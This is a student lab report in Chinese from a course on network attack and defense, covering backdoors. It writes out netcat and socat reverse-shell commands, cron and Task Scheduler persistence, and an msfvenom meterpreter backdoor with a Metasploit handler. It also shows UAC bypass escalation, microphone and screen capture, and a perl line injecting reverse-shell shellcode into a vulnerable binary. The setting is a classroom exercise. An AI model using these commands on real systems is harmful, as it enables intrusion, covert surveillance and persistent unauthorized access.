zoukankan      html  css  js  c++  java
  • 20175304刘朝尹 2019-2020-3 《网络对抗技术》Exp2 后门原理与实践

    1.基础知识总结

    (1)后门:是不经过正常认证流程而访问系统流程的通道。

    (2)常见后门有:编译器后门、操作系统后门、应用程序后门、潜伏或伪装成特定应用的专用后门程序。

    (3)布置后门的流程:<1>有一个后门程序;<2>将其放置在系统里;<3>使后门程序代码运行起来;<3>不被查杀软件查杀且不被防火墙发现。(常用技术有:反弹式连接;加密技术;隧道技术)。

    (4)常用后门工具:

    <1>netcat:又名nc、ncat。是一个底层工具,进行基本的TCP.UDP数据收发,常与其他工具结合使用作为后门。

    • Linux:自带netcat,输入man nc查看其使用说明。

    • Windows: 下载ncat.rar工具包。

      <1>Win获得Linux Shell:

      step1 首先在Windows中使用 ipconfig 查看主机IP地址 192.168.62.134

    Step2:在ncat.exe文件目录下输入ncat.exe -l -p 5304打开windows 监听

    Step3:Linux反弹连接windows:nc 192.168.62.134 5304 -e /bin/sh

    Step4:windows下获得一个linux shell,可运行任何指令,如ls,pwd


    <2>Linux获得Win Shell

    Step1:输入sudo ifconfig查看到Linux端的IP地址为192.168.62.128

    Step2:输入nc -l -p 5304在Linux运行监听

    Step3:在ncat.exe文件目录下输入ncat.exe -e cmd.exe 192.168.62.128 5304,使Windows反弹连接Linux

    Step4:Linux下看到Windows的命令提示,可运行指令,如ipconfig

    <2>meterpreter:是一个后门平台。其中有大量零件可调参数,用时组合可以生成可执行文件。

    (5)后门启动:

    任务计划程序——>新建任务计划——>触发器——>操作程序或脚本——>操作添加参数。

    2.实验内容

    (1)使用netcat获取主机操作Shell,cron启动

    Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。

    Step1:crontab指令增加一条定时任务,"-e"表示编辑。

    20175304@kali:~/Exp2$ crontab -e

    Step2:选择编辑器并添加代码

    选择编辑器,选择2,并添加下面这行代码,表示在每个小时的第28分钟执行后面的那条指令。

    28 * * * * /bin/netcat 192.168.62.134 -e /bin/sh

    Step3:保存、退出后配置即生效。

    可以通过"crontab -l"来查看,"-l"表示list。下图为第28分钟执行代码后的结果:

    (2)使用socat获取主机操作Shell, 任务计划启动

    socat,Netcat++,超级netcat工具。

    Step1:右击计算机—>点击管理—>点击任务计划程序—>点击创建任务

    Step2:设置任务名,新建触发器

    Step3:新建操作

    程序或脚本中选择socat.exe文件的路径,添加参数中填写tcp-listen:5304 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5304,同时把cmd.exe的stderr重定向到stdout上:

    Step4:此时可以看到任务的状态为准备就绪

    Step5:当时间到时,此时可以看到任务的状态为正在运行,同时会弹出一个cmd窗口。

    Step6:在kali中输入指令socat - tcp:192.168.62.134:5304

    此时可以发现已经成功获得了一个shell,下图为输入ipconfigcd ..的结果

    (3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

    Step1:生成20175304_backdoor.exe文件

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.62.128 LPORT=5304 -f exe > 20175304_backdoor.exe
    

    参数说明:

    -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
    -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
    -e 使用的编码器,用于对shellcode变形,为了免杀。
    -i 编码器的迭代次数。如上即使用该编码器编码5次。
    -b badchar是payload中需要去除的字符。
    LHOST 是反弹回连的IP
    LPORT 是回连的端口
    -f 生成文件的类型
    > 输出到哪个文件
    

    Step2:在Windows下执行ncat.exe -l 5304 > 20175304_backdoor.exe,使被控主机进入接收文件模式

    Step3:在kali中执行nc 192.168.3.134 5304 < 20175304_backdoor.exe

    从下图可以看到文件已经传输成功了

    Step4:MSF打开监听进程

    输入msfconsole后进行如下操作:

    use exploit/multi/handler,设置payload
    set payload windows/meterpreter/reverse_tcp
    set LHOST 192.168.62.128,设置ip
    set LPORT 5304,设置端口
    show options,查看选项
    exploit,可以看到已经获取到了Windows的shell,可以输入dir来验证

    (4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    step1:使用record_mic指令可以截获一段音频(可以使用-d选项设置录制时间)


    step2:使用screenshot指令可以进行截屏


    step3:使用getuid指令查看当前用户,使用getsystem指令进行提权操作(参考同学博客问题解决)

    使用background命令之后会自动退出到msf的命令行下,先在msf命令行下输入search bypassuac,再输入use exploit/windows/local/bypassuac,然后再输入set session *(*填写内容为你使用background查看到的session数值),最后输入run,当运行结果大致为图文所示内容时,在meterpreter中的getsystem操作便会成功了。
    


    (5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。

    step1:在shellcode网站找一个linux/x86平台的,用于反弹连接的shellcode,下载。
    Step2:注入Shellcode(参考实验一步骤三的过程)

    在第一个终端里关闭地址随机化,输入echo "0" > /proc/sys/kernel/randomize_va_space
    在第一个终端中运行pwn1之后不回车

    在第二个终端中输入ps -ef | grep pwn1

    查看pwn1的进程号为2025
    用GDB追踪该进程,找到栈顶(esp)中存放的地址为0xffffd5d0,计算出shellcode地址就是0xffffd5d0+4,即0xffffd5d4。

    在第一个终端中中断pwn1运行
    在第二个终端中注入input_shellcode:

    perl -e 'print "A" x 32;print"xd4xd5xffxf7x31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > input_shellcode
    

    Step3:在第一个终端中打开msf控制台,依次输入:

    use exploit/multi/handler,设置payload
    set payload linux/x86/shell_reverse_tcp
    set LHOST 127.0.0.1,设置ip
    set LPORT 4444,设置端口
    show options,查看选项
    exploit ,设置完成,开始监听

    Step4:运行shellcode

    在第二个终端输入(cat input_shellcode;cat) | ./pwn1运行pwn1文件,在第一个终端中可以看到已经成功调取了shell

    3.报告内容:

    3.1.基础问题回答

    (1)例举你能想到的一个后门进入到你系统中的可能方式?

    答:攻击者通过interpreter制作一个恶意程序代码,通过绑定到相关应用软件安装包中。如果我正好下载了该安装包软件并点击运行,且该恶意代码违背杀毒软件成功查杀,则该后门成功进入到我的系统中。

    (2)例举你知道的后门如何启动起来(win及linux)的方式?

    答:1.开机自启动技术;

    ​ 2.windows定时任务;

    ​ 3.Linux的corn;

    ​ 4.又是用户点击以启动;

    ​ 5.木马化正常软件。

    (3)Meterpreter有哪些给你映像深刻的功能?

    答:Meterpreter是一个后门平台,里面的help功能便于操作。还有截屏、启动摄像头、录音等功能使我印象深刻。

    (4)如何发现自己有系统有没有被安装后门?

    答:查看注册表、进程、端口情况,使用杀毒软件进行查杀。

    3.2.实验总结与体会

    答:通过本次实验,对后门注入攻击的基本原理有所了解。并且了解了地址随机化等的系统相关应对机制。同时很大程度上提高了个人对于电脑信息安全的重视。会更加注意下载平台的正规性,平时多用查杀软件定期查杀,不随便使用不明来历的U盘等。

  • 相关阅读:
    在页面中控制媒体流的起播点和播放长度
    缓冲区数据转换为字符串输出
    编程中注意的一个问题
    一个整合SQL语句的类
    注意服务器系统日期对防病毒软件的影响
    网络病毒源的排查(2005年3月22日维护记录)
    升级到 Microsoft .NET >Visual Basic 6.0 控件和 .NET 控件的区别
    修改您的站点设计以改善下载体验
    下一版本Windows&reg; CE 开发工具Smart Device Extensions for Microsoft Visual Studio&reg; .NET
    WINDOWS (服务器) 和 DOS(客户端) 网络互连 基于TCP/IP的编程实现
  • 原文地址:https://www.cnblogs.com/lcyll/p/12489936.html
Copyright © 2011-2022 走看看